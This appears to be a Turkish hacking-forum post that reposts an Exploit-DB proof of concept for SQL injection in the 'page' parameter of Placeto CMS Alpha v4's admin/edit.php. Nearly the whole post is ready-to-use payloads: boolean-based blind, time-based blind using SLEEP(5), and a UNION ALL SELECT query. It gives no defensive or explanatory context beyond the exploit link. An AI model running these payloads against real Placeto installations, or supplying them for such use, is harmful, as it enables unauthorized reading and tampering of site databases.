Hoşgeldin Misafir

Placeto CMS Alpha v4 - 'page' SQL Injection

Burak Bey

23 Mar 2019
2,323 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# POC - SQLi :

# Parameter: page (GET)
# Request URL: http://localhost/placeto/admin/edit.php?page=key

# Type : boolean-based blind
page=JyI" AND 1647=1647 AND "svwN"="svwN

# Type : time-based blind
page=JyI" AND SLEEP(5) AND "uIvY"="uIvY

# Type : union query
page=-8388" UNION ALL SELECT
NULL,CONCAT(0x716b627671,0x6a636f485445445466517a4 a6f6972635551635179725550617072647371784f6445576b7 4736849,0x716b6b6b71),NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL--
CbSf

-# Exploit Adresi : ---https://www.exploit-db.com/exploits/46588--